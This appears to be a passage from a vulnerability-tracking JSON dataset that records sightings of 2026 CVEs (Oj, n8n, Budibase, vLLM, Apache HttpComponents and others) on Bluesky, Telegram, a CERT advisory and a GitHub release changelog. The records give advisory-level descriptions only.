"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54305", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpivzdggor26", "content": "\ud83d\udccc CVE-2026-54305 - n8n is an open source workflow automation platform. Prior to 1.123.55, 2.25.7, and 2.26.2, three EE endpoints used by the Dynamic Credentials feature ... https://www.cyberhub.blog/cves/CVE-2026-54305", "creation_timestamp": "2026-06-30T11:37:07.542103Z"}, {"uuid": "2c418a8c-b306-473a-8c61-255e79654565", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54896", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpkfxmo5vk26", "content": "CVE-2026-54896 - Oj: Heap Buffer Overflow in Oj.dump Exception Serialization via Large Indent\nCVE ID : CVE-2026-54896\n \n Published : June 30, 2026, 11:20 p.m. | 2\u00a0hours, 26\u00a0minutes ago\n \n Description : Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ru...", "creation_timestamp": "2026-07-01T01:55:08.984717Z"}, {"uuid": "fd93457d-2981-4117-b050-83e4965ebb78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54502", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpkgjjojkq2v", "content": "CVE-2026-54502 - Oj: Stack Buffer Overflow in Oj.dump via Large Indent\nCVE ID : CVE-2026-54502\n \n Published : June 30, 2026, 11:10 p.m. | 2\u00a0hours, 36\u00a0minutes ago\n \n Description : Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions pri...", "creation_timestamp": "2026-07-01T02:05:10.018802Z"}, {"uuid": "8385dd51-9906-49ec-9f88-8a9805843b88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54897", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpkgsi5gey2v", "content": "CVE-2026-54897 - Oj : Use-After-Free in Oj::Doc Iterators via Reentrant Close\nCVE ID : CVE-2026-54897\n \n Published : June 30, 2026, 11:22 p.m. | 2\u00a0hours, 23\u00a0minutes ago\n \n Description : Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. Prior to...", "creation_timestamp": "2026-07-01T02:10:10.271744Z"}, {"uuid": "1f3ecc73-03c7-471c-a145-20a2ea08998f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54898", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpkh3gmaei2p", "content": "CVE-2026-54898 - Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation\nCVE ID : CVE-2026-54898\n \n Published : June 30, 2026, 11:24 p.m. | 2\u00a0hours, 22\u00a0minutes ago\n \n Description : Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In v...", "creation_timestamp": "2026-07-01T02:15:10.729815Z"}, {"uuid": "18a0a357-e959-4957-a80b-c67410d545bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54901", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpkhef2ete2k", "content": "CVE-2026-54901 - Oj: Use-After-Free in Oj::Parser array_class/hash_class GC Marking\nCVE ID : CVE-2026-54901\n \n Published : June 30, 2026, 11:36 p.m. | 2\u00a0hours, 9\u00a0minutes ago\n \n Description : Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In ...", "creation_timestamp": "2026-07-01T02:20:11.042583Z"}, {"uuid": "d7257f76-23f9-42e5-8cbe-943b9d33fe32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54500", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpkhg6m26n2u", "content": "CVE-2026-54500 - Oj: intern.c form_attr has an uninitialized stack read\nCVE ID : CVE-2026-54500\n \n Published : June 30, 2026, 11:08 p.m. | 2\u00a0hours, 38\u00a0minutes ago\n \n Description : Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions pr...", "creation_timestamp": "2026-07-01T02:21:11.523771Z"}, {"uuid": "3fae0cfa-e49c-447e-a1c3-2d626863f904", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54902", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpkhhy5agn2k", "content": "CVE-2026-54902 - Oj: Use-After-Free in Oj::Parser SAJ Long Key Callback\nCVE ID : CVE-2026-54902\n \n Published : June 30, 2026, 11:40 p.m. | 2\u00a0hours, 5\u00a0minutes ago\n \n Description : Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. Prior to versio...", "creation_timestamp": "2026-07-01T02:22:11.594714Z"}, {"uuid": "6806f3db-602f-415e-9b5e-01c8363f29b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54592", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpkhjtnps32z", "content": "CVE-2026-54592 - Oj: Stack Buffer Overflow in Oj::Doc#each_child via Deeply Nested Input\nCVE ID : CVE-2026-54592\n \n Published : June 30, 2026, 11:16 p.m. | 2\u00a0hours, 30\u00a0minutes ago\n \n Description : Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby ge...", "creation_timestamp": "2026-07-01T02:23:14.100653Z"}, {"uuid": "38e8378b-b68a-4538-bac6-b2ac32340ab5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54899", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpkhnr7sqg26", "content": "CVE-2026-54899 - Oj: Use-After-Free in Oj::Parser Symbol Key Cache Toggle\nCVE ID : CVE-2026-54899\n \n Published : June 30, 2026, 11:03 p.m. | 2\u00a0hours, 43\u00a0minutes ago\n \n Description : Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. Prior to ver...", "creation_timestamp": "2026-07-01T02:25:25.780519Z"}, {"uuid": "a062896f-5385-471c-a22e-788a81a9e74d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54900", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpkhrylv4625", "content": "CVE-2026-54900 - Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling\nCVE ID : CVE-2026-54900\n \n Published : June 30, 2026, 11:34 p.m. | 2\u00a0hours, 12\u00a0minutes ago\n \n Description : Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. I...", "creation_timestamp": "2026-07-01T02:27:47.646073Z"}, {"uuid": "3aa3de9d-522b-4f40-a87a-563bbf1e7194", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54903", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpki3ots7t24", "content": "CVE-2026-54903 - Oj: Integer Overflow in Oj.load 2GB String Handling\nCVE ID : CVE-2026-54903\n \n Published : June 30, 2026, 11:42 p.m. | 2\u00a0hours, 4\u00a0minutes ago\n \n Description : Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior ...", "creation_timestamp": "2026-07-01T02:33:12.837761Z"}, {"uuid": "2e3595e5-d3d6-4961-809b-9ceb2932d2cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54984", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-1001", "content": "", "creation_timestamp": "2026-08-13T09:15:37.869682Z"}, {"uuid": "7bd5dfd0-f606-4055-b1bb-c524bbee4ded", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54113", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-1001", "content": "", "creation_timestamp": "2026-08-13T09:16:19.993724Z"}, {"uuid": "481e7a49-7156-48bf-8747-c24c5ea229b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54284", "type": "published-proof-of-concept", "source": "Telegram/GwuC3cy-O_zU2KFCuHY_MrTkUTBOKWE1Dd5EfEUwy3SR_6M", "content": "", "creation_timestamp": "2026-08-19T00:00:28.122135Z"}, {"uuid": "017cbcd4-5dd3-409a-86de-01dfa2b9c5db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/pphm_HackerNews/2341", "content": "\ud83d\udd34 New Certighost PoC exploit lets attackers hijack Windows domains\n\nA proof-of-concept exploit for \u201cCertighost,\u201d a Windows Active Directory Certificate Services vulnerability, has been released that can allow authenticated attackers to potentially compromise a Windows domain.\n\nTracked as CVE-2026-54121, the vulnerability was fixed by Microsoft as part of the July 2026 Patch Tuesday security updates.\n\n\"An authenticated attacker could manipulate attributes associated with a machine account and obtain a certificate from Active Directory Certificate Services that allows authentication as that machine via PKINIT,\" Microsoft explained.", "creation_timestamp": "2026-08-22T00:00:11.205311Z"}, {"uuid": "39cb3027-75b5-49ae-82f1-950d44f237a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54350", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpkoz7vcyb2v", "content": "\ud83d\udccc CVE-2026-54350 - Budibase is an open-source low-code platform. Prior to 3.39.12,  an unauthenticated visitor of any published Budibase app reads every document of the ... https://www.cyberhub.blog/cves/CVE-2026-54350", "creation_timestamp": "2026-07-01T04:37:06.418844Z"}, {"uuid": "9c5e4e6d-5a26-4abf-b92c-08851a6412b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54352", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpkqov5yzy2e", "content": "\ud83d\udccc CVE-2026-54352 - Budibase is an open-source low-code platform. Prior to 3.39.9, `POST /api/pwa/process-zip` at packages/server/src/api/routes/static.ts:24 accepts a bu... https://www.cyberhub.blog/cves/CVE-2026-54352", "creation_timestamp": "2026-07-01T05:07:07.931884Z"}, {"uuid": "d2714fe3-1a7a-4ca2-a953-ff14edf48093", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/FR-Flo/f183cf76d6d8f91c2f7a1e84274c6ff7", "content": "## \ud83d\udd17 Companion release\n\nThis release ships alongside the **Marketplace-client (frontend)** release PR:\n\n- https://github.com/Wishibam/Marketplace-client/pull/4137\n\n- **Trello**\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *fix(dashboard): v2 ter* [\\#7583](https://github.com/Wishibam/Marketplace-api/pull/7583)\n        - *fix(dashboard): fix retailer filter param, enrich stock export and deprecate getSize/getColor* [\\#7602](https://github.com/Wishibam/Marketplace-api/pull/7602)\n    - [\ud83d\uded2\ud83d\udd0e Tri \u2014 passer en vue filtr\u00e9e par marchand (Marchand > Liste produit > D\u00e9tail produit)](https://trello.com/c/QtKdZOeE/2444-%F0%9F%9B%92%F0%9F%94%8E-tri-passer-en-vue-filtr%C3%A9e-par-marchand-marchand-liste-produit-d%C3%A9tail-produit) **\ud83e\udd75 Retour de test**\n        - *fix(wms): sorting retailer list* [\\#7588](https://github.com/Wishibam/Marketplace-api/pull/7588)\n    - [\ud83d\udd0d WMS - PACKING - Recherche au-del\u00e0 de la limite des 30 commandes](https://trello.com/c/cw1UsrG7/2427-%F0%9F%94%8D-wms-packing-recherche-au-del%C3%A0-de-la-limite-des-30-commandes) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *:sparkles: Add new search options for packing view* [\\#7589](https://github.com/Wishibam/Marketplace-api/pull/7589)\n    - [Traitement Cloudinary de la premi\u00e8re image de variation](https://trello.com/c/YuiI3bne/2449-traitement-cloudinary-de-la-premi%C3%A8re-image-de-variation) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *:sparkles: feat: process first variation image via Cloudinary preset* [\\#7592](https://github.com/Wishibam/Marketplace-api/pull/7592)\n    - [\ud83d\udce6\u2611\ufe0f WMS \u2014 Tri des colis : d\u00e9p\u00f4t de masse pour l'exp\u00e9dition (syst\u00e8me de coches)](https://trello.com/c/oMuGHbGB/2429-%F0%9F%93%A6%E2%98%91%EF%B8%8F-wms-tri-des-colis-d%C3%A9p%C3%B4t-de-masse-pour-lexp%C3%A9dition-syst%C3%A8me-de-coches) **\ud83e\udd75 Retour de test**\n        - *:sparkles: WMS rework massTransfer on TriShipping* [\\#7593](https://github.com/Wishibam/Marketplace-api/pull/7593)\n    - [Multi plateforme - droit de r\u00e9tractation](https://trello.com/c/ebl3rUnS/2400-multi-plateforme-droit-de-r%C3%A9tractation) **\ud83e\udd73Testing**\n        - *Add right of withdrawal feature* [\\#7606](https://github.com/Wishibam/Marketplace-api/pull/7606)\n        - *Add migrations to create missing return number sequences for each org\u2026* [\\#7614](https://github.com/Wishibam/Marketplace-api/pull/7614)\n \n- **Misc**\n    - *:sparkles: feat: store waybills on Scaleway buckets* [\\#7571](https://github.com/Wishibam/Marketplace-api/pull/7571)\n    - *:memo: docs: map PrintNode accounts per env and organization* [\\#7573](https://github.com/Wishibam/Marketplace-api/pull/7573)\n    - *:memo: docs: define \"done\" for dev tasks as green PR awaiting review* [\\#7574](https://github.com/Wishibam/Marketplace-api/pull/7574)\n    - *Fix again issues with invoice table* [\\#7577](https://github.com/Wishibam/Marketplace-api/pull/7577)\n    - *:bug: fix: truncate over-long category names before persist* [\\#7578](https://github.com/Wishibam/Marketplace-api/pull/7578)\n    - *:arrow\\_up: deps: bump jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#7579](https://github.com/Wishibam/Marketplace-api/pull/7579)\n    - *chore(deps): bump phpseclib/phpseclib from 3.0.52 to 3.0.54 in /api* [\\#7580](https://github.com/Wishibam/Marketplace-api/pull/7580)\n    - *:bug: Wrong wmsItems status when LineItems are reserved hours appart* [\\#7585](https://github.com/Wishibam/Marketplace-api/pull/7585)\n    - *:arrow\\_up: deps: bump guzzlehttp/guzzle & psr7 (3 CVE)* [\\#7587](https://github.com/Wishibam/Marketplace-api/pull/7587)\n    - *:wrench: chore: relax composer php upper-bound for PHP 8.5 deploy* [\\#7590](https://github.com/Wishibam/Marketplace-api/pull/7590)\n    - *fix(feed): preserve newlines (\\n) in product description on import* [\\#7591](https://github.com/Wishibam/Marketplace-api/pull/7591)\n    - *:bug: fix: first-image reprocessing actually reaches the eshop* [\\#7598](https://github.com/Wishibam/Marketplace-api/pull/7598)\n    - *:bug: fix: give each processed image a unique URL so re-processing reaches the eshop* [\\#7599](https://github.com/Wishibam/Marketplace-api/pull/7599)\n    - *:zap: perf: first-image processing once per flush, off the import worker hot path* [\\#7604](https://github.com/Wishibam/Marketplace-api/pull/7604)\n    - *Add migrations to generate shipment\\_return number sequences* [\\#7615](https://github.com/Wishibam/Marketplace-api/pull/7615)\n    - *:bug: fix: normalize stripe alerting errors to avoid string offset TypeError* [\\#7616](https://github.com/Wishibam/Marketplace-api/pull/7616)\n    - *:bug: fix: apply organization VAT tax\\_id on Sellsy invoice lines* [\\#7627](https://github.com/Wishibam/Marketplace-api/pull/7627)\n \n- **D\u00e9j\u00e0 en production**\n    - *fix(media): flush before Factory call so VichUploader sets contentUrl before URL is built* [\\#7594](https://github.com/Wishibam/Marketplace-api/pull/7594)\n    - *:sparkles: feat: add --no-send option to Sellsy invoice command* [\\#7608](https://github.com/Wishibam/Marketplace-api/pull/7608)\n    - *:bug: fix: send Sellsy invoice note from organization config* [\\#7610](https://github.com/Wishibam/Marketplace-api/pull/7610)\n    - *:wrench: chore: sync master security hotfixes (CVE) into develop* [\\#7612](https://github.com/Wishibam/Marketplace-api/pull/7612)", "creation_timestamp": "2026-07-01T09:25:18.828047Z"}, {"uuid": "4dec13c4-1396-439d-982c-9064ab0141b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54433", "type": "seen", "source": "Telegram/K7zXqOYFd1qXyT9LARXPzqWKeQzalprou3AuwisAGlu--nM", "content": "", "creation_timestamp": "2026-08-15T08:00:04.230531Z"}, {"uuid": "97d6246e-26e6-4f19-a942-1f0d6ab469f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54356", "type": "seen", "source": "Telegram/FN3zo1JYTO4u1-YgV96W0gS9NsAaW44hUrWdmlv8YAKw1wA", "content": "", "creation_timestamp": "2026-08-15T08:00:04.893989Z"}, {"uuid": "00d10c1f-936a-4cb0-bbf5-7895c159f991", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54309", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mplesml2b72x", "content": "\ud83d\udccc CVE-2026-54309 - n8n is an open source workflow automation platform. Prior to 2.25.7 and 2.26.2, when @n8n/mcp-browser is run in HTTP transport mode, the MCP endpoint ... https://www.cyberhub.blog/cves/CVE-2026-54309", "creation_timestamp": "2026-07-01T11:07:08.098988Z"}, {"uuid": "a348304b-7ed4-4a42-90ed-f656f30f04eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54232", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mplgiawmxa2x", "content": "\ud83d\udccc CVE-2026-54232 - vLLM is an inference and serving engine for large language models (LLMs). Prior to 0.22.1, the vLLM Dockerfile is vulnerable to a dependency confusion... https://www.cyberhub.blog/cves/CVE-2026-54232", "creation_timestamp": "2026-07-01T11:37:07.689047Z"}, {"uuid": "c974d78c-b5c2-4d72-bf50-020c10a27760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54352", "type": "seen", "source": "https://bsky.app/profile/roguelogics.bsky.social/post/3mplhihbycq2r", "content": "\ud83d\udea8 Patch Alert: CVE-2026-54352 is a high-severity vulnerability affecting widely-used software. This flaw can allow unauthorized remote code execution, putting sensitive data at risk. Our team urges you to patch this vulnerability immediately to mitigate potential threats. Staying ahead of threats\u2026", "creation_timestamp": "2026-07-01T11:55:08.001881Z"}, {"uuid": "679728c0-95a0-441a-8d32-d8e01eb07a79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54266", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpllj774tz2l", "content": "\ud83d\udccc CVE-2026-54266 - Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 22.0.1, 2... https://www.cyberhub.blog/cves/CVE-2026-54266", "creation_timestamp": "2026-07-01T13:07:07.784485Z"}, {"uuid": "b9433116-6e0e-4a7d-ad62-e5433aac4d71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5497", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mplsohnqgv2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-5497 \u0432 vLLM: \u0443\u0433\u0440\u043e\u0437\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u043c \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0438\u0437-\u0437\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438\n\n\n\nhttps://kripta.biz/posts/2D9E80BA-982C-4499-85F6-7026E5203BCB", "creation_timestamp": "2026-07-01T15:15:20.183787Z"}, {"uuid": "b2593f05-e2b9-4ce6-be4c-35a92f8a3f63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54984", "type": "seen", "source": "Telegram/LmlXMJPccu58VvGU5aOjYbYbwZMsUyLpZXlM2w2Wis0P_HI", "content": "", "creation_timestamp": "2026-08-15T08:00:06.639428Z"}, {"uuid": "95455b5a-5a7b-4c20-8f2e-2eeee2b0a071", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54399", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mplydnj46p2w", "content": "CVE-2026-54399: Apache HttpComponents Core: Unbounded HTTP Header/Line Length in Default Configuration", "creation_timestamp": "2026-07-01T16:56:39.629479Z"}, {"uuid": "68d2fea1-d419-4063-8082-cbfb2d7ea8a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54428", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mplymmliqs2x", "content": "CVE-2026-54428: Apache HttpComponents Core: HPackDecoder Unlimited Header List Size Before SETTINGS ACK", "creation_timestamp": "2026-07-01T17:01:40.556510Z"}, {"uuid": "9937adf3-6cc4-41f1-8061-d5bf982865ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54161", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mpmcxjg7pw2x", "content": "CVE-2026-54161: NUT upsmon: remote OS command injection via ups.alarm in NOTIFYCMD - fixed in PR #3499 (affects 2.8.3\u20132.8.5)", "creation_timestamp": "2026-07-01T20:06:43.761524Z"}, {"uuid": "44a361c1-949f-4805-b8bd-867b79c6ee70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54897", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmizrwebj2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54897 \u0432 Oj (Optimized JSON): \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f Ruby-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439\n\n\n\nhttps://kripta.biz/posts/5F6092C2-A5DE-4D2D-97E3-BB6A79FC36A9", "creation_timestamp": "2026-07-01T21:55:22.282660Z"}, {"uuid": "b14d8548-e0f3-4326-945f-d395f32b5f38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54896", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmjfxrnov2i", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54896 \u0432 Oj (Optimized JSON): \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/381F0471-BD90-45CE-8BAC-E196E0DC5282", "creation_timestamp": "2026-07-01T22:02:11.169710Z"}, {"uuid": "673b19a9-0178-440a-aacd-8be4cacfd56d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54903", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmjgpngw626", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54903 \u0432 Oj (Optimized JSON): \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/4BBFAFB7-B081-4949-844D-0F09B63C0645", "creation_timestamp": "2026-07-01T22:02:36.034892Z"}, {"uuid": "3c69d8f4-a96f-4af7-8585-39bb1776045a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54500", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmtzhdbir2u", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54500 \u0432 Oj (Optimized JSON): \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/46174568-97E1-4C91-9B44-1FB6A2A99EDD", "creation_timestamp": "2026-07-02T01:12:02.180335Z"}, {"uuid": "81052349-a47a-4e2c-8cd2-26ebc3b1fd57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54592", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmu26xhxt2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54592 \u0432 Oj (Optimized JSON): \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/653343C9-81FA-4B92-B45E-CB59D9A0D124", "creation_timestamp": "2026-07-02T01:12:26.935325Z"}, {"uuid": "1dacdbd3-7fc2-4742-9c5e-d3b3c4ba2e9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54899", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmu3d3qlr22", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54899 \u0432 Oj (Optimized JSON): \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/00993B05-3D51-4C90-96E9-6AED2E0B7198", "creation_timestamp": "2026-07-02T01:13:05.016197Z"}, {"uuid": "a01957e8-a8c2-46b5-8191-f88cfdad78d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54898", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmu2oyaf22o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54898 \u0432 Oj (Optimized JSON): \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/52065AFF-9426-49A1-AF9A-05C3EE7A6AD7", "creation_timestamp": "2026-07-02T01:12:43.727389Z"}, {"uuid": 